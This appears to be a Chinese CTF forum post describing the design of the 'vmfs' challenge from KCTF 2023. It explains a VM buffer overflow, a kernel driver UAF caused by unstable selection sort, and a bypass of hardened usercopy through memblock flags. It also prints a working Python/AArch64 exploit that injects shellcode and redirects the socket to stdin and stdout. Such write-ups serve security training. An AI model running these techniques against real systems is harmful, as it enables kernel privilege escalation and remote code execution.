-
-
[原创]2023 KCTF 年度赛 - vmfs
-
发表于: 2023-8-15 17:24 5790
-
团队名称:星盟安全团队
团长QQ:2462148389
参赛题目:vmfs
目答案(攻击脚本)、详细的题目设计说明和破解思路:详见百度网盘
链接:546K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4y4V1E0^5k6%4N6G2j5e0y4o6c8W2f1^5k6e0q4X3e0K6u0j5N6f1A6C8f1g2)9K6c8Y4m8%4k6q4)9K6c8s2g2A6M7X3@1`.
提取码:uirm
--来自百度网盘超级会员V7的分享
设计思路:
vm 中开启了一个 http 服务,该服务可以运行用户上传的代码,代码文件保存在 /dev/vmfs 驱动中,单独运行 vm 程序是无法执行代码的,因为程序无法找到驱动。
用户可以上传自己的代码,之后发送运行指令,使得代码在 vm 程序中执行,并返回执行得到的结果。
用户态功能:
内核态功能:
虚拟机的结构体如下:
在 runFile 函数中,req.size 可以由用户控制,而 vm.code 的大小仅有 0x8000 字节,当 req.size 大于 0x8000 字节时将溢出到后面的 data 结构体。但是,这要求目标文件节点本身就大于 0x8000 字节,否则驱动将会读取失败。
在 createFile 中可以看到程序限制了创建文件的大小,用户无法通过 createFile 请求来创建 大于 0x8000 字节的文件节点。
驱动初始化的时候会创建一下大小为 0x10000 节点的文件,因此可以用该文件节点来达到利用目的。
当控制了 vm.data 结构体之后,我们就拥有了任意地址读写的能力。
由于用户态还设置了沙箱保护,禁用了execve系统调用。
所以需要攻击者在内存中自行布置攻击代码。
由于go启动的http服务对socket进行了设置,所以这里直接从socket读取内容会失败。
因此需要fork出一个新的进程来保持干净的环境。
同时将父进程挂起,防止系统关机。
随后子进程需要使用 fcntl(0, F_SETFL, 0) 来重置socket,重置之后 socket 才能恢复正常。
回收站并不会保存文件节点的地址,而是保存文件节点的索引,当文件处在回收站后,文件节点将不再可读写。驱动提供了四种排序方式,其中选择排序 VMFS_SELECTION_SORT 是不稳定的排序算法,正如数据结构这门课程里面提到的那样 ,当序列中有相同大小的值时,执行选择排序后他们的位置可能会发生变化。若使用选择排序,已删除的节点和未删除的节点就可能会混淆,从而导致UAF漏洞。
举个简单的例子,将下面的序列进行选择排序
此时两个5的顺序发生了变化,结果是5* 排在 了 5后面。
知道了原理后就可以利用该漏洞构造任意地址读写。
由于内核开了 CONFIG_STATIC_USERMODEHELPER 保护,因此无法劫持 modprobe_path 来达到提权目的。同时内核还开启了 CONFIG_HARDENED_USERCOPY ,函数 copy_from_user 和 copy_to_user 无法直接读写 task_struct 和 cred 。
让我们查看源码来寻求绕过方法,首先定位到 CONFIG_HARDENED_USERCOPY 的定义:
__check_heap_object 源码中没有什么方便的绕过方式,因此找到其上一层的调用函数 check_heap_object
其中 virt_addr_valid 判断失败的话则可以直接绕过 __check_heap_object 检查。
virt_addr_valid 函数如下:
通常我们会在内存的第一块区域,所以i=0 。
memblock_is_nomap函数如下:
简单来说只要其物理地址的标志位带有 MEMBLOCK_NOMAP 则会返回 0。
因此我们要做的就是修改 memblock_memory_init_regions[0].flags 为 MEMBLOCK_NOMAP ,这样就可以绕过 __check_heap_object 检查。
恰好 memblock_memory_init_regions[0].flags 位于内核数据段上,因此有任意地址读写能力后很容易就能实现该修改操作。
在该题目中 memblock_memory_init_regions[0].flags 位于 0xffff80000a2ae1f8 地址上。
利用代码:
/api/create-file 创建文件
/api/write-file 写文件
/api/run-file 运行文件
/api/create-file 创建文件
/api/write-file 写文件
/api/run-file 运行文件
#define VMFS_CREATE_FILE 0xff00 // 创建文件节点#define VMFS_MOVE_TO_TRASH 0xff01 // 将文件节点移动到回收站#define VMFS_DELETE_FROM_TRASH 0xff02 // 彻底删除文件节点#define VMFS_WRITE_FILE 0xff03 // 写文件节点#define VMFS_READ_FILE 0xff04 // 读文件节点#define VMFS_SORT_FILE 0xff05 // 对文件节点进行排序#define VMFS_CREATE_FILE 0xff00 // 创建文件节点#define VMFS_MOVE_TO_TRASH 0xff01 // 将文件节点移动到回收站#define VMFS_DELETE_FROM_TRASH 0xff02 // 彻底删除文件节点#define VMFS_WRITE_FILE 0xff03 // 写文件节点#define VMFS_READ_FILE 0xff04 // 读文件节点#define VMFS_SORT_FILE 0xff05 // 对文件节点进行排序00000000 main_machine_0 struc ; (sizeof=0x80A0, align=0x8, copyof_2879)
00000000 ; XREF: main.runVM/r00000000 ; main.runFile/r00000000 reg DCQ 16 dup(?)00000080 _pc DCQ ? ; XREF: main.runVM:loc_1F96C8/r00000080 ; main.runVM+88/r ...00000088 code DCQ 4096 dup(?) ; XREF: main.runVM+24/o00008088 data _slice_uint64 ?000080A0 main_machine_0 ends00000000 _slice_uint64 struc ; (sizeof=0x18, align=0x8, copyof_224)
00000000 ; XREF: .data:crypto_sha512._K/r00000000 ; main_machine_0/r ...00000000 array DCQ ? ; XREF: crypto_sha512.blockGeneric+27C/r00000000 ; crypto_sha512.blockAsm+10/r ; offset00000008 len DCQ ? ; XREF: runtime._ptr_profBuf.write+38/w00000008 ; runtime._ptr_profBuf.write+88/r ...00000010 cap DCQ ? ; XREF: runtime._ptr_profBuf.write+4AC/w00000010 ; runtime._ptr_profBuf.write+4D8/r ...00000018 _slice_uint64 ends00000000 main_machine_0 struc ; (sizeof=0x80A0, align=0x8, copyof_2879)
00000000 ; XREF: main.runVM/r00000000 ; main.runFile/r00000000 reg DCQ 16 dup(?)00000080 _pc DCQ ? ; XREF: main.runVM:loc_1F96C8/r00000080 ; main.runVM+88/r ...00000088 code DCQ 4096 dup(?) ; XREF: main.runVM+24/o00008088 data _slice_uint64 ?000080A0 main_machine_0 ends00000000 _slice_uint64 struc ; (sizeof=0x18, align=0x8, copyof_224)
00000000 ; XREF: .data:crypto_sha512._K/r00000000 ; main_machine_0/r ...00000000 array DCQ ? ; XREF: crypto_sha512.blockGeneric+27C/r00000000 ; crypto_sha512.blockAsm+10/r ; offset00000008 len DCQ ? ; XREF: runtime._ptr_profBuf.write+38/w00000008 ; runtime._ptr_profBuf.write+88/r ...00000010 cap DCQ ? ; XREF: runtime._ptr_profBuf.write+4AC/w00000010 ; runtime._ptr_profBuf.write+4D8/r ...00000018 _slice_uint64 endsline CODE JT JF K=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc00000b7 if (A != ARCH_AARCH64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
line CODE JT JF K=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc00000b7 if (A != ARCH_AARCH64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
# userdef req(api, data):
json_str = json.dumps(data)
sh.send((
f'''POST {api} HTTP/1.1
Host: {host}:{port}Accept: */*Connection: keep-aliveContent-Length: {len(json_str)}Content-Type: application/json'''.replace('\n', '\r\n') + json_str).encode())
vm_code = []
def write(address, value):
global vm_code
vm_code += [5, 0, value]
vm_code += [7, address//8, 0]
write(0x498f10, 0x68732f6e69622f)
write(0x498f00, 0x498f10)
shellcode = asm(
'''mov x8, 220mov x0, 19mov x1, 0svc 0 ;// forkcmp x0, 0bne over;// childmov x8, 24mov x0, 4mov x1, 0mov x2, 0svc 0 ;// dup3(4, 0, 0)mov x8, 24mov x0, 1mov x1, 4mov x2, 0svc 0 ;// dup3(1, 4, 0)mov x8, 24mov x0, 0mov x1, 1mov x2, 0svc 0 ;// dup3(0, 1, 0)mov x8, 24mov x0, 0mov x1, 2mov x2, 0svc 0 ;// dup3(0, 2, 0)mov x8, 25mov x0, 0mov x1, 4mov x2, 0svc 0 ;// fcntl(0, F_SETFL, 0)str x0, [sp, 0]mov x0, 0mov x1, spmov x2, 8mov x8, 64svc 0mov x8, 63mov x0, 0adr x1, 12mov x2, 0x800svc 0 ;// read(0, shellcode, 0x800)shellcode:over:mov x8, 172svc 0 ;// getpidmov x8, 129mov x1, 19svc 0 ;// kill(self, SIGSTOP)''')
shellcode_i = 0
while(shellcode):
tmp = shellcode[:8].ljust(8, b'\0')
shellcode = shellcode[8:]
write(0x498000 + shellcode_i, u64(tmp))
shellcode_i += 8
stack_list = [0x400011b000, 0x400012b000, 0x4000187000]
for stack_addr in stack_list:
write(stack_addr+0x820, 0x12808)
write(stack_addr+0x840, 0x498000)
write(stack_addr+0x860, 7)
write(stack_addr+0x858, 0x1000)
write(stack_addr+0x850, 0x498000)
write(stack_addr+0x848, 226)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018, "Data":vm_code + [0] * (0x1000 - len(vm_code)) + [0, 0x7fffffffffffffff, 0x7fffffffffffffff]}
req('/api/write-file', payload)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018}
req('/api/run-file', payload)
sh.recvuntil(b'\0' * 8)
# userdef req(api, data):
json_str = json.dumps(data)
sh.send((
f'''POST {api} HTTP/1.1
Host: {host}:{port}Accept: */*Connection: keep-aliveContent-Length: {len(json_str)}Content-Type: application/json'''.replace('\n', '\r\n') + json_str).encode())
vm_code = []
def write(address, value):
global vm_code
vm_code += [5, 0, value]
vm_code += [7, address//8, 0]
write(0x498f10, 0x68732f6e69622f)
write(0x498f00, 0x498f10)
shellcode = asm(
'''mov x8, 220mov x0, 19mov x1, 0svc 0 ;// forkcmp x0, 0bne over;// childmov x8, 24mov x0, 4mov x1, 0mov x2, 0svc 0 ;// dup3(4, 0, 0)mov x8, 24mov x0, 1mov x1, 4mov x2, 0svc 0 ;// dup3(1, 4, 0)mov x8, 24mov x0, 0mov x1, 1mov x2, 0svc 0 ;// dup3(0, 1, 0)mov x8, 24mov x0, 0mov x1, 2mov x2, 0svc 0 ;// dup3(0, 2, 0)mov x8, 25mov x0, 0mov x1, 4mov x2, 0svc 0 ;// fcntl(0, F_SETFL, 0)str x0, [sp, 0]mov x0, 0mov x1, spmov x2, 8mov x8, 64svc 0mov x8, 63mov x0, 0adr x1, 12mov x2, 0x800svc 0 ;// read(0, shellcode, 0x800)shellcode:over:mov x8, 172svc 0 ;// getpidmov x8, 129mov x1, 19svc 0 ;// kill(self, SIGSTOP)''')
shellcode_i = 0
while(shellcode):
tmp = shellcode[:8].ljust(8, b'\0')
shellcode = shellcode[8:]
write(0x498000 + shellcode_i, u64(tmp))
shellcode_i += 8
stack_list = [0x400011b000, 0x400012b000, 0x4000187000]
for stack_addr in stack_list:
write(stack_addr+0x820, 0x12808)
write(stack_addr+0x840, 0x498000)
write(stack_addr+0x860, 7)
write(stack_addr+0x858, 0x1000)
write(stack_addr+0x850, 0x498000)
write(stack_addr+0x848, 226)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018, "Data":vm_code + [0] * (0x1000 - len(vm_code)) + [0, 0x7fffffffffffffff, 0x7fffffffffffffff]}
req('/api/write-file', payload)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018}
req('/api/run-file', payload)
sh.recvuntil(b'\0' * 8)
static ssize_t vmfs_ioctl(struct file *file, unsigned int cmd, size_t arg)
{ struct user_argv argv;
size_t result = 0;
mutex_lock(&vmfs_lock);
if(result == 0 && copy_from_user(&argv, (void *)arg, sizeof(argv)))
{
result = -1;
}
if(result == 0 && argv.id == NONE)
{
result = -1;
}
if(result == 0)
{
switch (cmd)
{
case VMFS_CREATE_FILE:
if(result == 0 && add(argv.size, argv.id))
{
result = -1;
}
break;
case VMFS_MOVE_TO_TRASH:
if(result == 0 && move_to_trash(argv.id, argv.choose_index))
{
result = -1;
}
break;
case VMFS_DELETE_FROM_TRASH:
if(result == 0 && delete_from_trash(argv.id, argv.choose_index))
{
result = -1;
}
break;
case VMFS_WRITE_FILE:
if(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break;
case VMFS_READ_FILE:
if(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break;
case VMFS_SORT_FILE:
switch (argv.sort_option)
{
case VMFS_BUBBLE_SORT:
bubble_sort();
break;
case VMFS_INSERT_SORT:
insert_sort();
break;
case VMFS_SELECTION_SORT:
selection_sort();
break;
case VMFS_MERGE_SORT:
merge_sort();
break;
default:
result = -1;
break;
}
break;
default:
result = -1;
break;
}
}
mutex_unlock(&vmfs_lock);
return result;
}static ssize_t vmfs_ioctl(struct file *file, unsigned int cmd, size_t arg)
{ struct user_argv argv;
size_t result = 0;
mutex_lock(&vmfs_lock);
if(result == 0 && copy_from_user(&argv, (void *)arg, sizeof(argv)))
{
result = -1;
}
if(result == 0 && argv.id == NONE)
{
result = -1;
}
if(result == 0)
{
switch (cmd)
{
case VMFS_CREATE_FILE:
if(result == 0 && add(argv.size, argv.id))
{
result = -1;
}
break;
case VMFS_MOVE_TO_TRASH:
if(result == 0 && move_to_trash(argv.id, argv.choose_index))
{
result = -1;
}
break;
case VMFS_DELETE_FROM_TRASH:
if(result == 0 && delete_from_trash(argv.id, argv.choose_index))
{
result = -1;
}
break;
case VMFS_WRITE_FILE:
if(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break;
case VMFS_READ_FILE:
if(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break;
case VMFS_SORT_FILE:
switch (argv.sort_option)
{
case VMFS_BUBBLE_SORT:
bubble_sort();
break;
case VMFS_INSERT_SORT:
insert_sort();
break;
case VMFS_SELECTION_SORT:
selection_sort();
break;
case VMFS_MERGE_SORT:
merge_sort();
break;
default:
result = -1;
break;
}
break;
default:
result = -1;
break;
}
}
mutex_unlock(&vmfs_lock);
return result;
}5* 5 2
5* 5 2
2 5 5*
2 5 5*
#ifdef CONFIG_HARDENED_USERCOPY/* * Rejects incorrectly sized objects and objects that are to be copied
* to/from userspace but do not fall entirely within the containing slab
* cache's usercopy region.
*
* Returns NULL if check passes, otherwise const char * to name of cache
* to indicate an error.
*/
void __check_heap_object(const void *ptr, unsigned long n,
const struct slab *slab, bool to_user)
{ struct kmem_cache *s;
unsigned int offset;
bool is_kfence = is_kfence_address(ptr);
ptr = kasan_reset_tag(ptr);
/* Find object and usable object size. */
s = slab->slab_cache;
/* Reject impossible pointers. */
if (ptr < slab_address(slab))
usercopy_abort("SLUB object not in SLUB page?!", NULL,
to_user, 0, n);
/* Find offset within object. */
if (is_kfence)
offset = ptr - kfence_object_start(ptr);
else
offset = (ptr - slab_address(slab)) % s->size;
/* Adjust for redzone and reject if within the redzone. */
if (!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
if (offset < s->red_left_pad)
usercopy_abort("SLUB object in left red zone",
s->name, to_user, offset, n);
offset -= s->red_left_pad;
}
/* Allow address range falling entirely within usercopy region. */
if (offset >= s->useroffset &&
offset - s->useroffset <= s->usersize &&
n <= s->useroffset - offset + s->usersize)
return;
usercopy_abort("SLUB object", s->name, to_user, offset, n);
}#endif /* CONFIG_HARDENED_USERCOPY */#ifdef CONFIG_HARDENED_USERCOPY/* * Rejects incorrectly sized objects and objects that are to be copied
* to/from userspace but do not fall entirely within the containing slab
* cache's usercopy region.
*
* Returns NULL if check passes, otherwise const char * to name of cache
* to indicate an error.
*/
void __check_heap_object(const void *ptr, unsigned long n,
const struct slab *slab, bool to_user)
{ struct kmem_cache *s;
unsigned int offset;
bool is_kfence = is_kfence_address(ptr);
ptr = kasan_reset_tag(ptr);
/* Find object and usable object size. */
s = slab->slab_cache;
/* Reject impossible pointers. */
if (ptr < slab_address(slab))
usercopy_abort("SLUB object not in SLUB page?!", NULL,
to_user, 0, n);
/* Find offset within object. */
if (is_kfence)
offset = ptr - kfence_object_start(ptr);
else
offset = (ptr - slab_address(slab)) % s->size;
/* Adjust for redzone and reject if within the redzone. */
if (!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
if (offset < s->red_left_pad)
usercopy_abort("SLUB object in left red zone",
s->name, to_user, offset, n);
offset -= s->red_left_pad;
}
/* Allow address range falling entirely within usercopy region. */
if (offset >= s->useroffset &&
offset - s->useroffset <= s->usersize &&
n <= s->useroffset - offset + s->usersize)
return;
usercopy_abort("SLUB object", s->name, to_user, offset, n);
}#endif /* CONFIG_HARDENED_USERCOPY */static inline void check_heap_object(const void *ptr, unsigned long n,
bool to_user)
{ unsigned long addr = (unsigned long)ptr;
unsigned long offset;
struct folio *folio;
if (is_kmap_addr(ptr)) {
offset = offset_in_page(ptr);
if (n > PAGE_SIZE - offset)
usercopy_abort("kmap", NULL, to_user, offset, n);
return;
}
if (is_vmalloc_addr(ptr) && !pagefault_disabled()) {
struct vmap_area *area = find_vmap_area(addr);
if (!area)
usercopy_abort("vmalloc", "no area", to_user, 0, n);
if (n > area->va_end - addr) {
offset = addr - area->va_start;
usercopy_abort("vmalloc", NULL, to_user, offset, n);
}
return;
}
if (!virt_addr_valid(ptr))
return;
folio = virt_to_folio(ptr);
if (folio_test_slab(folio)) {
/* Check slab allocator for flags and size. */
__check_heap_object(ptr, n, folio_slab(folio), to_user);
} else if (folio_test_large(folio)) {
offset = ptr - folio_address(folio);
if (n > folio_size(folio) - offset)
usercopy_abort("page alloc", NULL, to_user, offset, n);
}
}static inline void check_heap_object(const void *ptr, unsigned long n,
bool to_user)
{ unsigned long addr = (unsigned long)ptr;
unsigned long offset;
struct folio *folio;
if (is_kmap_addr(ptr)) {
offset = offset_in_page(ptr);
if (n > PAGE_SIZE - offset)
usercopy_abort("kmap", NULL, to_user, offset, n);
return;
}
if (is_vmalloc_addr(ptr) && !pagefault_disabled()) {
struct vmap_area *area = find_vmap_area(addr);
if (!area)
usercopy_abort("vmalloc", "no area", to_user, 0, n);
if (n > area->va_end - addr) {
offset = addr - area->va_start;
usercopy_abort("vmalloc", NULL, to_user, offset, n);
}
return;
}
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!